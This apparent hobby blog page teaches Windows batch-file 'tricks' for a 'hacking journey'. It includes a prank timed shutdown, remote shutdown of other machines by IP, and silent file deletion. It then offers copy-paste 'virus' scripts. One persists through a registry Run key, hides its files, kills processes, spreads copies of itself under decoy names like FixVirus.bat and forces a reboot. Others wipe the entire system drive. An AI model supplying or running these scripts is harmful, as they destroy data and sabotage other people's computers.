.

.

Showing posts with label .bat codes tricks. Show all posts
Showing posts with label .bat codes tricks. Show all posts

Wednesday, 22 August 2012

Batch file



What Is A Batch File?
A batch file is a MS-DOS file that will execute certain commands these files are usually made with notepad, Alot of people think batch files are nooby but if you know what your doing they can actually be quite powerful and by powerful i mean deleting a whole C:/ Drive.

Whats CMD?
Ok Now you know what a Batch File is you need to know what CMD is ok well cmd is basicly MS-DOS it is a program that allows you to execute certain commands, CMD is simply short for Command Prompt which is its full name.

How To Get CMD?
Ok now were getting somewhere here are some simple ways to create and run cmd
1.Start>Run>"Type Cmd" and viola (If That Dosent Work Try Typing cmd.exe)
2.Notepad>(type command)>Save to desktop as (anything.bat) just make sure it has the extension (.bat) open it and theres C Prompt.
3.Right click anywhere on your desktop>New>shortcut>(type command)>enter>and on your desktop is C prompt.
4. Simply Go Start>Accesories>Command prompt. Lol
5. Go To C:\WINDOWS\system32\cmd

Tricks And Tips
Ok you now know the basics of your hacking journey, here are some tricks that you can use.




1. Shutdown Error
Ok this is a trick , when you click on this icon your about to make it will shut the computer down in the amount of time you set lets say 1min and you can leave a message, our message will be "You Got Owned".

To make this 1. Open Notepad, 2.Type Shutdown -s -t 60 -c "You Got Owned"
3. Save To Desktop As shutdown.bat (DONT FORGET THE .BAT)
4.You will now have an icon on yor desktop thats called shutdown.bat
5. Double click on it to execute and an error message will come up saying
"Shutdown Will Commence In 1min" and below that will be a message saying you got owned. Thank You That Is My First Trick.

(To abort, open another command prompt and type shutdown -a)


Shutdown Computers Over The Network.

To make this 1. Open Notepad, 2.Type Shutdown -s -m \\xxx.xxx.xxx.xxx (IP Address)
3. Save To Desktop As (Anything).bat (DONT FORGET THE .BAT)
4.Double click on the icon and wait.
5. Now there is of course other ways of doing this, read the post on the front page,

you can also open CMD and type "Shutdown -i"
Thats My 2nd Trick Thankyou.

Batch File That Deletes Other Things.

This batch file will delete any file on your computer, be carefull now its pretty simple first of all
1.Open Notepad
2. Type
3.@echo off
del "Path Of File You Want To Delete" /Q /S> nul
4. Save as "Anything.bat"
5. Execute It.

Example:
@echo off
del "C:/Documents And Settings/Custard/Desktop/lol.txt" /Q /S> nul

Creating a pause in a batch file
Creating a pause in a batch file is not a complicated thing to do, basically all you have to do is
start writing your batch, then have your first command then go down a line and type PAUSE then -t xx (xx being number of seconds
then the next line continue with the rest of your code







Make Batch Files run on startup:
To make a batch file run on start up go to C:\WINDOWS\system32 then find the file autoexec, there may be different extensions to this file the main ones being .bat, .nt, or .exe, then open in using notepad, then edit it placing the word start followed by the location of the batch file (example: My Documents/example.bat) in the file then saving and closing.
Thank you, Enjoy,
ashu

Saturday, 28 July 2012

SIMPLE BATCH VIRUS


This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Be carefull & Don't run this on ur pc

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP


------------------------------------------------------------------------------------------
It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer

simple virus in .bat


use these scripts on your own responsibility..
 
1.This Virus Deletes All The Content Of A Drive…
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code As Anything.bat
2.The Most Simple Virus To Crush The Window

@Echo off
Del C:\ *.* y

Save It As Anything.bat
3.The below Code Will Just Restart Ur PC
@echo off shutdown -r -f -t 00
save as anyname.bat

 

Get Latest Updates: Subscribe Now | Like Us on Facebook

X